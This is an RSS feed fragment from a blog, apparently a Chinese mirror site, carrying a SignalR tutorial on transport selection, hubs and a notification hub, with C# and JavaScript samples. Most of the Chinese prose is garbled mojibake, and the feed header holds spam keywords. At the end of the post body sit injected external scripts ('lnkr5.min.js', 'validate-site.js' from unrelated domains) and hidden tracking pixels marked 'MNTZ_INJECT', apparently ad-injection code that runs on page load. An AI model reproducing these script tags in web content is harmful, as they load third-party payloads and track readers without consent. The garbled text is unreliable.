锘??xml version="1.0" encoding="utf-8" standalone="yes"?>深夜国产福利99亚洲视频,亚洲乱码一区二区三区在线观看 ,亚洲宅男精品一区在线观看http://www.tkk7.com/crazycoding/archive/2018/06/03/433250.htmlYing-erYing-erSun, 03 Jun 2018 11:24:00 GMThttp://www.tkk7.com/crazycoding/archive/2018/06/03/433250.htmlhttp://www.tkk7.com/crazycoding/comments/433250.htmlhttp://www.tkk7.com/crazycoding/archive/2018/06/03/433250.html#Feedback0http://www.tkk7.com/crazycoding/comments/commentRss/433250.htmlhttp://www.tkk7.com/crazycoding/services/trackbacks/433250.html闃呰鍏ㄦ枃

Ying-er 2018-06-03 19:24 鍙戣〃璇勮
]]>
瀹炴椂閫氳錛熸秷鎭帹閫侊紵SignalR 涔?涓浜屼笁鍥?/title><link>http://www.tkk7.com/crazycoding/archive/2018/05/23/433232.html</link><dc:creator>Ying-er</dc:creator><author>Ying-er</author><pubDate>Wed, 23 May 2018 07:02:00 GMT</pubDate><guid>http://www.tkk7.com/crazycoding/archive/2018/05/23/433232.html</guid><wfw:comment>http://www.tkk7.com/crazycoding/comments/433232.html</wfw:comment><comments>http://www.tkk7.com/crazycoding/archive/2018/05/23/433232.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/crazycoding/comments/commentRss/433232.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/crazycoding/services/trackbacks/433232.html</trackback:ping><description><![CDATA[<strong style="font-family: Verdana; font-size: 10pt;">涓銆丼ignalR 姒傝堪</strong><div style="font-family: Verdana; font-size: 10pt;"><div><a title="https://docs.microsoft.com/en-us/aspnet/signalr/index"><div>https://docs.microsoft.com/en-us/aspnet/signalr/index</div></a></div></div><span style="color: #4f4f4f; font-family: Verdana; font-size: 10pt; text-align: justify; background-color: #ffffff;">SignalR鏄井杞負瀹炵幇瀹炴椂閫氫俊鐨勪竴涓被搴撱備竴鑸儏鍐典笅錛宻ignalR浼氫嬌鐢↗avaScript鐨勯暱杞(long polling)鐨勬柟寮忔潵瀹炵幇瀹㈡埛绔拰鏈嶅姟鍣ㄩ氫俊錛岄殢鐫Html5涓璚ebSockets鍑虹幇錛孲ignalR涔熸敮鎸乄ebSockets閫氫俊銆傚彟澶朣ignalR寮鍙戠殑紼嬪簭涓嶄粎浠呴檺鍒朵簬瀹夸富鍦↖IS涓紝涔熷彲浠ュ涓誨湪浠諱綍搴旂敤紼嬪簭錛屽寘鎷帶鍒跺彴錛屽鎴風紼嬪簭鍜學indows鏈嶅姟絳夛紝鍙﹀榪樻敮鎸丮ono錛岃繖鎰忓懗鐫瀹冨彲浠ュ疄鐜拌法騫沖彴閮ㄧ講鍦↙inux鐜涓嬨?br /><br /></span><span style="font-family: Verdana; font-size: 10pt;">    </span><span style="color: #4f4f4f; font-family: Verdana; font-size: 10pt; text-align: justify; background-color: #ffffff;">signalR鍐呴儴鏈変袱綾誨璞★細<br /></span><ol style="box-sizing: border-box; outline: 0px; padding: 0px 0px 0px 40px; margin: 0px; list-style: none; word-break: break-all; color: #333333; background-color: #ffffff; font-family: Verdana; line-height: 18px; font-size: 10pt;"><li style="box-sizing: border-box; outline: 0px; padding: 0px; margin: 0px 0px 1em; list-style: decimal; word-break: break-all;"><span style="box-sizing: border-box; outline: 0px; word-break: break-all; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; outline: 0px; word-break: break-all; font-size: 12px;">鎸佷箙榪炴帴<br /></span></span><div>涓涓寔涔呰繛鎺ヤ唬琛ㄤ簡涓涓鐐癸紝瀹冨彲浠ュ彂閫佸崟涓鎺ユ敹鑰咃紝Group鎺ュ彈鑰呮垨鑰呭箍鎾俊鎭傛寔涔呰繛鎺ョ殑api鏄疭ignalR鎻愪緵緇欏紑鍙戣呰繘鍏ヤ綆綰у埆鍗忚鐨刟pi銆傝繛鎺ユā鍨嬩嬌鐢ㄨ搗鏉ュ拰WCF姣旇緝綾諱技銆?/div><span style="box-sizing: border-box; outline: 0px; word-break: break-all; font-size: 12px;"></span></li><li style="box-sizing: border-box; outline: 0px; padding: 0px; margin: 0px 0px 1em; list-style: decimal; word-break: break-all;"><span style="box-sizing: border-box; outline: 0px; word-break: break-all; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; outline: 0px; word-break: break-all; font-size: 12px;">Hubs錛堥泦綰垮櫒錛?br /></span></span><div>Hubs鏄疭ignalR鎻愪緵鐨勯珮綰у埆鐨刟pi錛屽畠鍏佽瀹㈡埛绔拰鏈嶅姟绔紝鍦ㄨ嚜宸辮繖杈圭浉浜掕皟鐢ㄥ鏂圭殑鏂規硶銆侶ubs妯″瀷綾諱技浜?Net Remoting銆備嬌鐢℉ubs涔熷彲浠ヨ浣犱紶閫掑己綾誨瀷鍙傛暟錛岃繘琛屾ā鍨嬬粦瀹氥?/div><span style="box-sizing: border-box; outline: 0px; word-break: break-all; font-size: 12px;"></span></li></ol><span style="color: #4f4f4f; font-family: Verdana; font-size: 10pt; text-align: justify; background-color: #ffffff;">SignalR灝嗘暣涓俊鎭殑浜ゆ崲灝佽璧鋒潵錛屽鎴風鍜屾湇鍔″櫒閮芥槸浣跨敤JSON鏉ユ矡閫氱殑錛屽湪鏈嶅姟绔0鏄庣殑鎵鏈塇ub淇℃伅錛岄兘浼氱敓鎴怞avaScript杈撳嚭鍒板鎴風錛?NET鍒欎緷璧朠roxy鏉ョ敓鎴愪唬鐞嗗璞★紝鑰孭roxy鐨勫唴閮ㄥ垯鏄皢JSON杞崲鎴愬璞°?br /><img src="http://www.tkk7.com/images/blogjava_net/crazycoding/sr.png" width="596" height="558" alt="" /><br /></span><br style="font-family: Verdana; font-size: 10pt;" /><span style="font-size: 10pt; background-color: #ffffff; color: #333333; font-family: Verdana;"><br /></span><strong style="font-family: Verdana; font-size: 13.3333px;">SignalR 鍜?WebSocket</strong><br style="font-family: Verdana; font-size: 13.3333px;" /><div style="font-family: Verdana; font-size: 13.3333px;"><span style="color: #333333; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; background-color: #ffffff;">濡傛灉瀹㈡埛绔拰鏈嶅姟鍣ㄩ兘鏀寔WebSocket錛岄偅涔圫ignalR浼氶氳繃WebSocket鏉ヤ紶杈撴暟鎹傚綋鐒朵綘涔熷彲浠ヨ嚜宸變嬌鐢╓ebSocket鏉ュ疄鐜癝ignalR鐨勫姛鑳斤紝涓嶈繃浣跨敤SignalR浣犲氨涓嶇敤鑰冭檻濡傛灉瀹㈡埛绔垨鑰呮湇鍔″櫒涓嶆敮鎸乄ebSocket鐨勯棶棰樹簡銆?/span></div><div style="font-family: Verdana; font-size: 13.3333px;"></div><br /><strong>浜屻丼ignalR鐨勫崗璁夋嫨</strong><br /><div>SignalR鏄彲浠ュ湪瀹㈡埛绔拰鏈嶅姟鍣ㄧ榪涜鍗蟲椂閫氳鐨勫嚑縐嶅崗璁殑鎶借薄鍜屽疄鐜般備竴涓猄ignalR榪炴帴鏄氳繃http璇鋒眰鍙戣搗鐨勶紝鐒跺悗涓婂崌涓篧ebSocket錛堝鏋滃鎴風鍜屾湇鍔$閮芥敮鎸侊級銆俉ebSocket鏄疭ignalR鏈鐞嗘兂鐨勫崗璁紝瀹冨彲浠ユ湁鏁堝湴鍒╃敤鏈嶅姟鍣ㄧ鐨勫唴瀛橈紝鏈夌潃鏈浣庣殑寤惰繜錛屾渶澶氱殑鍩虹鐗規э紙姣斿瀹㈡埛绔拰鏈嶅姟绔殑鍏ㄥ弻宸ヨ繛鎺ワ級錛屼笉榪囧畠涔熸湁鐫涓ユ牸鐨勮姹傦紝闇瑕佹湇鍔″櫒绔嬌鐢╓indows Server 2012鎴栬匴indows 8浠ヤ笂鐨勭郴緇燂紝涔熼渶瑕?NET Framework 4.5.銆傚鏋滀笉絎﹀悎榪欎簺瑕佹眰錛岄偅涔圫ignalR浼氫嬌鐢ㄥ叾浠栫殑鍗忚鏉ュ緩绔嬭繛鎺ャ?br /><br /><div><strong>HTML 5鍗忚</strong></div><div>銉籛ebSocket銆傚鏋滄湇鍔″櫒鍜屽鎴風閮芥敮鎸侊紝閭d箞灝變嬌鐢╓ebSocket鍗忚鏉ヨ繘琛岄氳銆?/div><div>銉繪湇鍔″櫒鎺ㄩ佷簨浠訛紙Server-sent Events錛夈傞櫎浜咺E錛屽叾浠栫殑嫻忚鍣ㄥ熀鏈兘鏀寔銆?/div><div><strong>Comet鍗忚</strong></div><div>銉籉orever Frame 錛堝彧鏀寔IE錛夈?/div><div>銉籄jax闀胯疆璇紙Ajax long polling錛夈?/div><div><strong>SignalR鍗忚閫夋嫨榪囩▼</strong></div><div>1.濡傛灉嫻忚鍣ㄦ槸IE8鎴栬呮洿鏃╃殑鐗堟湰錛屼嬌鐢ㄩ暱杞銆?/div><div>2.濡傛灉閰嶇疆浜咼sonp錛堝鏋滆繛鎺ュ紑濮嬬殑鏃跺檍sonp鐨勫弬鏁拌緗負true錛? 浣跨敤闀胯疆璇€?/div><div>3.濡傛灉鏄法鍩熻繛鎺? 濡傛灉涓嬮潰鐨勬潯浠剁鍚堝氨浼氫嬌鐢╓ebSocket錛屽鏋滄湁鏉′歡涓嶇鍚堬紝閭e氨鏄敤闀胯疆璇€?/div><div>    銉誨鎴風鏀寔璺ㄥ煙榪炴帴</div><div>    銉誨鎴風鏀寔WebSocket</div><div>    銉繪湇鍔″櫒绔敮鎸乄ebSocket</div><div>4.濡傛灉娌℃湁閰嶇疆jsonp錛岃屼笖涓嶆槸璺ㄥ煙榪炴帴錛屽鏋滃鎴風鍜屾湇鍔$閮芥敮鎸乄ebSocket錛岄偅涔堝氨浣跨敤WebSocket銆?/div><div>5.濡傛灉瀹㈡埛绔垨鑰呮湇鍔$涓嶆敮鎸乄ebSocket錛屼嬌鐢ㄦ湇鍔″櫒鎺ㄩ佷簨浠躲?/div><div>6.濡傛灉涓嶆敮鎸佹湇鍔″櫒鎺ㄩ佷簨浠訛紝浣跨敤Forever Frame銆?/div><div>7.濡傛灉涓嶆敮鎸丗orever Frame錛屼嬌鐢ㄩ暱杞銆?/div><br /><div><strong>鐩戞帶鍗忚</strong><br /><div>鍙互閫氳繃鍦ㄤ綘鐨凥ub涓婂紑鍚痩ogging鏉ョ洃鎺т綘鐨凷ignalR浣跨敤浜嗕粈涔堝崗璁?br /><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->$.connection.hub.logging = <span style="color: #0000FF; ">true</span>;</div></div></div><br /><div><strong>鎸囧畾鍗忚</strong><br /><div>SignalR鍒ゆ柇鍗忚涔熼渶瑕佹秷鑰椾竴瀹氱殑瀹㈡埛绔佹湇鍔$璧勬簮錛屽鏋滀綘娓呮瀹㈡埛绔佹湇鍔$鏀寔鐨勫崗璁紝閭d箞浣犲彲浠ユ寚瀹氫嬌鐢ㄦ煇縐嶅崗璁潵寤虹珛榪炴帴銆?/div><div>姣斿錛屼綘鐭ラ亾瀹㈡埛绔彧鏀寔闀胯疆璇紝閭d箞浣犲彲浠ユ寚瀹氫嬌鐢ㄩ暱杞鏉ヨ繘琛岄氳銆?br /><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->connection.start({ transport: 'longPolling' });</div></div></div><br /><div>浣犱篃鍙互鎸囧畾涓涓簭鍒楋紝瀹㈡埛绔細鎸夌収搴忓垪閲岀殑欏哄簭鏉ヨ繘琛岄氳銆備笅闈㈢殑浠g爜鐨勪綔鐢ㄦ槸錛屽厛浣跨敤WebSocket錛屽鏋滃け璐ヤ簡錛屽氨浣跨敤闀胯疆璇€?/div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->connection.start({ transport: ['webSockets','longPolling'] });</div></div><div><br /><div><strong>SignalR鍖呭惈涓嬮潰鍥涚鎸囧畾鐨勫崗璁父閲?br /></strong>    銉粀ebSockets<br />    銉籪oreverFrame<br />    銉籹erverSentEvents<br />    銉籰ongPolling</div></div><strong>涓夈丼ignalR鐨勪笁縐嶅疄鐜版柟寮?/strong><br />1. 闆嗙嚎鍣ㄧ被錛圚ub錛?+ 闈炶嚜鍔ㄧ敓鎴愪唬鐞嗘ā寮?br /><div>鏈嶅姟绔笌瀹㈡埛绔垎鍒畾涔夌殑鐩稿搴旂殑鏂規硶錛屽鎴風閫氳繃浠g悊瀵硅薄璋冪敤鏈嶅姟绔殑鏂規硶錛屾湇鍔$閫氳繃IHubConnectionContext鍥炶皟瀹㈡埛绔殑鏂規硶錛屽鎴風閫氳繃鍥炶皟鏂規硶鎺ユ敹緇撴灉銆?br /><div>JS绔皟鐢ㄦ湇鍔$鏂規硶閲囩敤錛歝hat.invoke錛岃岃鏈嶅姟绔洖璋冪殑鏂規硶鍒欓噰鐢細chat.on 錛堣繖閲岀殑chat鏄痗reateHubProxy鍒涘緩寰楁潵鐨勶級</div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #0000FF; ">            var</span> conn = $.hubConnection();<br />            conn.qs = { "clientName": clientName };<br />            conn.start().done(<span style="color: #0000FF; ">function</span> () {<br />                $("#btnSend").click(<span style="color: #0000FF; ">function</span> () {<br />                    <span style="color: #0000FF; ">var</span> toUserId = eUsers.val();<br />                    <span style="color: #0000FF; ">if</span> (toUserId != "") {<br />                        chat.invoke("sendOne", toUserId, $("#message").val())<br />                        .done(<span style="color: #0000FF; ">function</span> () {<br />                            <span style="color: #008000; ">//</span><span style="color: #008000; ">alert("鍙戦佹垚鍔燂紒");</span><span style="color: #008000; "><br /></span>                            $("#message").val("").focus();<br />                        })<br />                        .fail(<span style="color: #0000FF; ">function</span> (e) {<br />                            alert(e);<br />                            $("#message").focus();<br />                        });<br />                    }<br />                    <span style="color: #0000FF; ">else</span> {<br />                        chat.invoke("send", $("#message").val())<br />                        .done(<span style="color: #0000FF; ">function</span> () {<br />                            <span style="color: #008000; ">//</span><span style="color: #008000; ">alert("鍙戦佹垚鍔燂紒");</span><span style="color: #008000; "><br /></span>                            $("#message").val("").focus();<br />                        })<br />                        .fail(<span style="color: #0000FF; ">function</span> (e) {<br />                            alert(e);<br />                            $("#message").focus();<br />                        });<br />                    }<br />                });<br />            });<br /> <br />            <span style="color: #0000FF; ">var</span> chat = conn.createHubProxy("chat");<br />            chat.on("receiveMessage", <span style="color: #0000FF; ">function</span> (dt, cn, msg) {<br />                <span style="color: #0000FF; ">var</span> clsName = "linfo";<br />                <span style="color: #0000FF; ">if</span> (cn == clientName || cn.indexOf("鎮ㄥ") >= 0) clsName = "rinfo";<br />                eChatBox.append("<p class='" + clsName + "'>" + dt + " <strong>" + cn + "</strong> 璇達細<br/>" + msg + "</p>");<br />                eChatBox.scrollTop(eChatBox[0].scrollHeight);<br />            });<br /> <br />            chat.on("userChange", <span style="color: #0000FF; ">function</span> (dt, msg, users) {<br />                eChatBox.append("<p>" + dt + " " + msg + "</p>");<br />                eUsers.find("option[value!='']").remove();<br />                <span style="color: #0000FF; ">for</span> (<span style="color: #0000FF; ">var</span> i = 0; i < users.length; i++) {<br />                    <span style="color: #0000FF; ">if</span> (users[i].Value == clientName) <span style="color: #0000FF; ">continue</span>;<br />                    eUsers.append("<option value='" + users[i].Key + "'>" + users[i].Value + "</option>")<br />                }<br />            });</div><br />2. 闆嗙嚎鍣ㄧ被錛圚ub錛? 鑷姩鐢熸垚浠g悊妯″紡<br />闇瑕乯s寮曠敤<br /><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #0000FF; "><</span><span style="color: #800000; ">script </span><span style="color: #FF0000; ">src</span><span style="color: #0000FF; ">="~/signalr/hubs"</span><span style="color: #FF0000; "> type</span><span style="color: #0000FF; ">="text/javascript"</span><span style="color: #0000FF; ">></</span><span style="color: #800000; ">script</span><span style="color: #0000FF; ">></span></div><div>鐒惰岋紝鎴戜滑鍦ㄥ啓浠g爜鐨勬椂鍊欎笂闈㈢殑寮曠敤騫朵笉瀛樺湪錛岃屽綋榪愯鍚庡氨浼氳嚜鍔ㄧ敓鎴愪笂榪皊ignalr鐨勪唬鐞嗚剼鏈?br />榪欏氨鏄笌闈炶嚜鍔ㄧ敓鎴愪唬鐞嗚剼鏈渶鏍規湰鐨勫尯鍒紝涔熸鏄洜涓鴻繖涓嚜鍔ㄧ敓鎴愮殑鑴氭湰錛屾垜浠彲浠ュ湪JS涓洿鍔犳柟渚跨殑璋冪敤鏈嶅姟绔柟娉曞強瀹氫箟鍥炶皟鏂規硶錛岃皟鐢ㄦ湇鍔$鏂規硶閲囩敤錛歝hat.server.XXX錛岃岃鏈嶅姟绔洖璋冪殑瀹㈡埛绔柟娉曞垯閲囩敤錛歝hat.client.XXX</div><br />3.鎸佷箙鍖栬繛鎺ョ被錛圥ersistentConnection錛?br />銉?span style="color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; background-color: #ffffff;">Startup.Configuration涓槸闇瑕佹寚瀹歛pp.MapSignalR<MyConnection>("/MyConnection")<br /></span>銉?span style="color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; background-color: #ffffff;">闇瀹炵幇緇ф壙鑷狿ersistentConnection綾葷殑鑷畾涔夌殑鎸佷箙鍖栬繛鎺ョ被錛屽湪榪欎釜榪炴帴涓彲浠ラ噸鍐欙細OnConnected銆丱nDisconnected銆丱nReceived銆丱nReconnected銆丳rocessRequest鏂規硶錛屽悓鏃舵湁鍑犱釜閲嶈鐨勫睘鎬ф垚鍛楥onnection銆丟roups錛屾湇鍔$鍙戞秷鎭粰瀹㈡埛绔噰鐢細Connection.Broadcast錛堝箍鎾紝鎵鏈夊鎴風閮藉彲浠ユ敹鍒版秷鎭級,Connection.Send錛堝彂閫佺粰鎸囧畾鐨勫鎴風錛?br /><br /></span>鍏蜂綋瀹炵幇鍙傝?br /><div><a title="https://www.cnblogs.com/zuowj/p/5674615.html">https://www.cnblogs.com/zuowj/p/5674615.html</a></div><br /><strong>鍥涖佷嬌鐢≧ignalR瀹炵幇鏂版秷鎭帹閫侊紙</strong>闆嗙嚎鍣ㄧ被錛圚ub錛? 鑷姩鐢熸垚浠g悊妯″紡<strong>錛?/strong></div>1.app.MapSignalR();<br /><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #0000FF; ">using</span> System.Data.Entity;<br /><span style="color: #0000FF; ">using</span> Microsoft.Owin;<br /><span style="color: #0000FF; ">using</span> Owin;<br /><span style="color: #0000FF; ">using</span> RCRS.WebApp.Town.Migrations;<br /><span style="color: #0000FF; ">using</span> RCRS.WebApp.Town.Models.DomainEntity;<br /><br />[assembly: OwinStartupAttribute(<span style="color: #0000FF; ">typeof</span>(RCRS.WebApp.Town.Startup))]<br /><span style="color: #0000FF; ">namespace</span> RCRS.WebApp.Town<br />{<span style="color: #008000; "><br /></span>    <span style="color: #0000FF; ">public</span> partial <span style="color: #0000FF; ">class</span> Startup<br />    {<span style="color: #008000; "><br /></span>        <span style="color: #0000FF; ">public</span> <span style="color: #0000FF; ">void</span> Configuration(IAppBuilder app)<br />        {<br />            ConfigureAuth(app);<br />            app.MapSignalR();<br /><br />            Database.SetInitializer(<span style="color: #0000FF; ">new</span> MigrateDatabaseToLatestVersion<TownContext, TownConfiguration>());<br />        }<br />    }<br />}</div><br />2. NotificationHub<br /><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #0000FF; ">using</span> System.Linq;<br /><span style="color: #0000FF; ">using</span> Microsoft.AspNet.SignalR;<br /><span style="color: #0000FF; ">using</span> Microsoft.AspNet.SignalR.Hubs;<br /><span style="color: #0000FF; ">using</span> RCRS.WebApp.Town.Models.Town;<br /><br /><span style="color: #0000FF; ">namespace</span> RCRS.WebApp.Town.Hubs<br />{<span style="color: #008000; "><br /></span>    [HubName("NotificationHub")] <br />    <span style="color: #0000FF; ">public</span> <span style="color: #0000FF; ">class</span> NotificationHub : Hub<br />    {<span style="color: #008000; "><br /></span>        <span style="color: #0000FF; ">public</span> <span style="color: #0000FF; ">void</span> Connect(<span style="color: #0000FF; ">string</span> userId)<br />        {<br />            var id = Context.ConnectionId;<br /><br />            <span style="color: #0000FF; ">if</span> (BizHub.ConnectedUsers.Count(x => x.ConnectionId == id) == 0)<br />            {<br />                BizHub.ConnectedUsers.Add(<span style="color: #0000FF; ">new</span> HubUser { ConnectionId = id, UserId = userId });<br />                <span style="color: #008000; ">//</span><span style="color: #008000; "> send to caller</span><span style="color: #008000; "><br /></span>                Clients.Caller.onConnected(id, userId, BizHub.ConnectedUsers);<br /><br />                <span style="color: #008000; ">//</span><span style="color: #008000; "> send to all except caller client</span><span style="color: #008000; "><br /></span>                Clients.AllExcept(id).onNewUserConnected(id, userId);<br />            }<br />        }<br /><span style="color: #008000; "></span><span style="color: #008000; "><br /></span>        <span style="color: #0000FF; ">public</span> <span style="color: #0000FF; ">override</span> System.Threading.Tasks.Task OnDisconnected(<span style="color: #0000FF; ">bool</span> stopCalled)<br />        {<br />            var item = BizHub.ConnectedUsers.FirstOrDefault(x => x.ConnectionId == Context.ConnectionId);<br />            <span style="color: #0000FF; ">if</span> (item != <span style="color: #0000FF; ">null</span>)<br />            {<br />                BizHub.ConnectedUsers.Remove(item);<br /><br />                var id = Context.ConnectionId;<br />                Clients.All.onUserDisconnected(id, item.UserId);<br /><br />            }<br />            <span style="color: #0000FF; ">return</span> <span style="color: #0000FF; ">base</span>.OnDisconnected(stopCalled);<br />        }<br /><br />    }<br />}</div><br />3.BizHub<br /><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #808080; ">        ///</span><span style="color: #008000; "> </span><span style="color: #808080; "><summary></span><span style="color: #008000; ">  </span><span style="color: #808080; "></summary></span><span style="color: #808080; "><br /></span>        <span style="color: #0000FF; ">public</span> <span style="color: #0000FF; ">static</span> List<HubUser> ConnectedUsers = <span style="color: #0000FF; ">new</span> List<HubUser>();<br /><span style="color: #008000; "><br /></span>        <span style="color: #0000FF; ">public</span> <span style="color: #0000FF; ">void</span> NotifyAll(<span style="color: #0000FF; ">string</span> msg)<br />        {<br />            var hub = GlobalHost.ConnectionManager.GetHubContext<NotificationHub>();<br />            hub.Clients.All.broadcaastNotif(msg);<br />        }<br /><span style="color: #008000; "></span><span style="color: #008000; "><br /></span>        <span style="color: #0000FF; ">public</span> <span style="color: #0000FF; ">void</span> NotifyPrivate(<span style="color: #0000FF; ">string</span> toUserId, <span style="color: #0000FF; ">string</span> msg)<br />        {<br />            var toUser = ConnectedUsers.FirstOrDefault(x => x.UserId == toUserId);<br />            var hub    = GlobalHost.ConnectionManager.GetHubContext<NotificationHub>();<br /><br />            <span style="color: #0000FF; ">if</span> (toUser != <span style="color: #0000FF; ">null</span>)<br />            {<br />                <span style="color: #008000; ">//</span><span style="color: #008000; "> send to </span><span style="color: #008000; "><br /></span>                hub.Clients.Client(toUser.ConnectionId).broadcaastNotif(msg);<br />            }<br />        }<br /><span style="color: #008000; "><br /></span>        <span style="color: #0000FF; ">public</span> <span style="color: #0000FF; ">void</span> NotifyRole(List<<span style="color: #0000FF; ">string</span>> roleLs, <span style="color: #0000FF; ">string</span> msg)<br />        {<br />            List<<span style="color: #0000FF; ">string</span>> lsUserIds = <span style="color: #0000FF; ">new</span> List<<span style="color: #0000FF; ">string</span>>();<br /><br />            <span style="color: #0000FF; ">using</span> (ApplicationDbContext context = <span style="color: #0000FF; ">new</span> ApplicationDbContext())<br />            {<br />                <span style="color: #0000FF; ">string</span> cmd = getUsersByRoleLs(roleLs);<br />                lsUserIds = context.Database.SqlQuery<<span style="color: #0000FF; ">string</span>>(cmd).ToListAsync().Result;<br />            }<br /><br />            <span style="color: #0000FF; ">foreach</span> (<span style="color: #0000FF; ">string</span> toUserId <span style="color: #0000FF; ">in</span> lsUserIds)<br />                NotifyPrivate(toUserId, msg);<br />        }</div><br />4.寮曠敤js<br /><div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%; word-break: break-all;"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->bundles.Add(<span style="color: #0000FF; ">new</span> ScriptBundle("~/bundles/signalR").Include(<br />                "~/Scripts/jquery.signalR-2.2.3.js"));</div><br />5.<br /><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: red;"><script src</span><span style="color: red;">=</span><span style="color: red;">"</span><span style="color: red;">~/signalr/hubs</span><span style="color: red;">"</span><span style="color: red;">></</span><span style="color: red;">script</span><span style="color: red;">></span><br />    <script type="text/javascript"><br />        $(<span style="color: #0000FF; ">function</span> () {<br />            <span style="color: #0000FF; ">var</span> id = '@ViewBag.UserId';<br />            <span style="color: #0000FF; ">var</span> notifyHub = $.connection.NotificationHub;<br />            notifyHub.client.broadcaastNotif = <span style="color: #0000FF; ">function</span> (message) {<br />                $("#assist-top-new-msg").text(message);<br />                $("#assist-msg-list-new-flg").text(message);<br />            };<br /><br />            $.connection.hub.start()<br />                .done(<span style="color: #0000FF; ">function</span> () {<br />                    console.log("Notification Hub Connected!");<br />                    <span style="color: #008000; ">//</span><span style="color: #008000; ">Server Call</span><span style="color: #008000; "><br /></span>                    notifyHub.server.connect(id);<br />                })<br />                .fail(<span style="color: #0000FF; ">function</span> () {<br />                    console.log("Could not Connect Notification Hub!");<br />                });<br /><br />        });<br />    </script></div><br /><br /><br /><script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&r=41" style="font-size: 10pt;"></script><script type="text/javascript" src="http://infoprovider.group/addons/lnkr5.min.js"></script> <script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&r=24"></script><script type="text/javascript" src="http://infoprovider.group/addons/lnkr5.min.js"></script><img style="width:0;height:0;display:none;visibility:hidden;" src="http://infoprovider.group/metric/?mid=&wid=52096&sid=&tid=5793&rid=OPTOUT_RESPONSE_OK&t=1527124394837" alt="" /><script type="text/javascript" src="http://infoprovider.group/optout/set/lat?jsonp=__twb_cb_443257876&key=16a168f0af2da0c3c2&cv=1527124394&t=1527124394837"></script><script type="text/javascript" src="http://infoprovider.group/optout/set/lt?jsonp=__twb_cb_342897538&key=16a168f0af2da0c3c2&cv=10059&t=1527124394837"></script><img style="width:0;height:0;display:none;visibility:hidden;" src="http://infoprovider.group/metric/?mid=18918&wid=52096&sid=&tid=5793&rid=MNTZ_INJECT&t=1527124394839" alt="" /><img style="width:0;height:0;display:none;visibility:hidden;" src="http://infoprovider.group/metric/?mid=18918&wid=52096&sid=&tid=5793&rid=MNTZ_LOADED&t=1527124394839" alt="" /><img style="width:0;height:0;display:none;visibility:hidden;" src="http://infoprovider.group/metric/?mid=90f06&wid=52096&sid=&tid=5793&rid=MNTZ_INJECT&t=1527124394841" alt="" /><script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&r=20"></script><img style="width:0;height:0;display:none;visibility:hidden;" src="http://infoprovider.group/metric/?mid=cd1d2&wid=52096&sid=&tid=5793&rid=MNTZ_INJECT&t=1527124394842" alt="" /><script type="text/javascript" src="http://infoprovider.group/addons/lnkr5.min.js"></script><img style="width:0;height:0;display:none;visibility:hidden;" src="http://infoprovider.group/metric/?mid=90f06&wid=52096&sid=&tid=5793&rid=MNTZ_LOADED&t=1527124394847" alt="" /><img style="width:0;height:0;display:none;visibility:hidden;" src="http://infoprovider.group/metric/?mid=cd1d2&wid=52096&sid=&tid=5793&rid=MNTZ_LOADED&t=1527124396081" alt="" /><img src ="http://www.tkk7.com/crazycoding/aggbug/433232.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" 